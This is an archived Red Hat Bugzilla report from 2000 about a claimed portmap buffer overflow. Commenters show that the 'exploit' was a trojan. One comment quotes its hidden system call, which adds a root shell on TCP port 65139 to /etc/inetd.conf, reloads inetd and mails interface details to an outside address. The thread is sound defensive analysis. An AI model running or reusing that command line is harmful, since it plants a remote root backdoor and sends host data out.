Bug 21183 - portmapper buffer overflow
portmapper buffer overflow
Product: Red Hat Linux
Classification: Retired
Component: portmap (Show other bugs)
i386 Linux
medium Severity medium
: ---
: ---
Assigned To: Trond Eivind Glomsrxd
Aaron Brown
: Security
Depends On:
  Show dependency treegraph
Reported: 2000-11-21 10:56 EST by Need Real Name
Modified: 2007-04-18 12:29 EDT (History)
1 user (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2000-11-22 04:15:03 EST
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

  None (edit)
Description Need Real Name 2000-11-21 10:56:22 EST
Our system was hit by this exploit.  I don't see any bug report related to it.

Comment 1 Pekka Savola 2000-11-21 12:44:08 EST
This is no portmap exploit.  There's a trojan hidden in the shellcode which tries to 
add a backdoor in /etc/inetd.conf.
Comment 2 Bill Nottingham 2000-11-22 00:06:29 EST
So, someone ran a trojan on your system?  I'm not sure I understand
what you're trying to report.
Comment 3 Pekka Savola 2000-11-22 00:57:09 EST
I think he found the exploit from somewhere, decided to try it on a system or
two but got trojaned himself..
Comment 4 Jarno Huuskonen 2000-11-22 04:15:01 EST
The "exploit" script calls system with:
/bin/echo "65139 stream tcp nowait root /bin/sh sh -i" >> /etc/inetd.conf ;
/bin/killall -1 inetd 2>&1 1>/dev/null ; /sbin/ifconfig -a | mail
goat187@hotmail.com 2>&1 2>/dev/null

this system call is disguised as a pmap_proc_p call (and pmap_proc_p is defined
as system).
Comment 5 Need Real Name 2000-11-22 09:53:29 EST
Apparently I did not read the comments close enough and did not see that it was a trojan.  I've since found that we were rooted by a ftpd buffer overflow.  
The rootkit the attacker used added the root shell to inetd.conf and mailed the IP address and /etc/shadow of the machine.

Note You need to log in before you can comment on or make changes to this bug.